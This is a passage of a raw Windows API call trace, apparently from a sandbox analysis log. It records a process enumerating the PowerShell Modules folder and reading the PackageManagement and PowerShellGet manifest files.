lpFilePart=0x0) returned 0x30 [0170.402] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x5a8e794 | out: lpFindFileData=0x5a8e794*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x550580 [0170.402] FindNextFileW (in: hFindFile=0x550580, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.402] FindNextFileW (in: hFindFile=0x550580, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0170.402] FindNextFileW (in: hFindFile=0x550580, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0170.403] FindNextFileW (in: hFindFile=0x550580, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0170.403] FindClose (in: hFindFile=0x550580 | out: hFindFile=0x550580) returned 1 [0170.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e754) returned 1 [0170.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e9b4) returned 1 [0170.403] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0170.404] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0170.404] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0170.405] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0170.405] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0170.405] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0170.405] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0170.405] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0170.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0170.406] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0170.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0170.407] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0170.407] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0170.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0170.407] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0170.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0170.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e9e4) returned 1 [0170.408] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0170.408] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0170.409] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x5a8e794 | out: lpFindFileData=0x5a8e794*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x550580 [0170.409] FindNextFileW (in: hFindFile=0x550580, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.409] FindNextFileW (in: hFindFile=0x550580, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0170.409] FindNextFileW (in: hFindFile=0x550580, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0170.409] FindClose (in: hFindFile=0x550580 | out: hFindFile=0x550580) returned 1 [0170.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e754) returned 1 [0170.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e9b4) returned 1 [0170.410] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0170.410] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0170.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e738) returned 1 [0170.410] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9fc | out: lpFileInformation=0x5a8e9fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0170.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e734) returned 1 [0170.411] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0170.411] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0170.411] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0170.411] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0170.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e75c) returned 1 [0170.411] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2697098 | out: lpFileInformation=0x2697098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0170.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e758) returned 1 [0170.420] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0170.420] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0170.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e8c4) returned 1 [0170.421] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3dc [0170.421] GetFileType (hFile=0x3dc) returned 0x1 [0170.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e8c0) returned 1 [0170.421] GetFileType (hFile=0x3dc) returned 0x1 [0170.422] GetACP () returned 0x4e4 [0170.433] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e900*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e900*=0) returned 0x0 [0170.433] ReadFile (in: hFile=0x3dc, lpBuffer=0x2698370, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e92c, lpOverlapped=0x0 | out: lpBuffer=0x2698370*, lpNumberOfBytesRead=0x5a8e92c*=0x8f9, lpOverlapped=0x0) returned 1 [0170.434] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e900*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e900*=0) returned 0x8f9 [0170.434] ReadFile (in: hFile=0x3dc, lpBuffer=0x26977fd, nNumberOfBytesToRead=0x307, lpNumberOfBytesRead=0x5a8e92c, lpOverlapped=0x0 | out: lpBuffer=0x26977fd*, lpNumberOfBytesRead=0x5a8e92c*=0x0, lpOverlapped=0x0) returned 1 [0170.434] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e900*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e900*=0) returned 0x8f9 [0170.434] ReadFile (in: hFile=0x3dc, lpBuffer=0x2698370, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e92c, lpOverlapped=0x0 | out: lpBuffer=0x2698370*, lpNumberOfBytesRead=0x5a8e92c*=0x0, lpOverlapped=0x0) returned 1 [0170.435] CloseHandle (hObject=0x3dc) returned 1 [0170.559] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0170.559] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0170.559] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0170.559] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0170.560] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0170.560] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0170.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e9e4) returned 1 [0170.560] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0170.560] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0170.560] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x5a8e794 | out: lpFindFileData=0x5a8e794*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x550580 [0170.560] FindNextFileW (in: hFindFile=0x550580, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.561] FindNextFileW (in: hFindFile=0x550580, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0170.561] FindNextFileW (in: hFindFile=0x550580, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0170.561] FindClose (in: hFindFile=0x550580 | out: hFindFile=0x550580) returned 1 [0170.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e754) returned 1 [0170.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e9b4) returned 1 [0170.561] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0170.561] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0170.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e738) returned 1 [0170.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9fc | out: lpFileInformation=0x5a8e9fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0170.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e734) returned 1 [0170.694] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0170.694] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0170.694] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0170.694] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0170.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e75c) returned 1 [0170.694] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x26a7090 | out: lpFileInformation=0x26a7090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0170.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e758) returned 1 [0170.695] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0170.695] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0170.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e8c4) returned 1 [0170.696] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3fc [0170.696] GetFileType (hFile=0x3fc) returned 0x1 [0170.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e8c0) returned 1 [0170.696] GetFileType (hFile=0x3fc) returned 0x1 [0170.696] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e900*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e900*=0) returned 0x0 [0170.697] ReadFile (in: hFile=0x3fc, lpBuffer=0x26a7e68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e92c, lpOverlapped=0x0 | out: lpBuffer=0x26a7e68*, lpNumberOfBytesRead=0x5a8e92c*=0x1000, lpOverlapped=0x0) returned 1 [0170.698] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e900*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e900*=0) returned 0x1000 [0170.698] ReadFile (in: hFile=0x3fc, lpBuffer=0x26a7e68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e92c, lpOverlapped=0x0 | 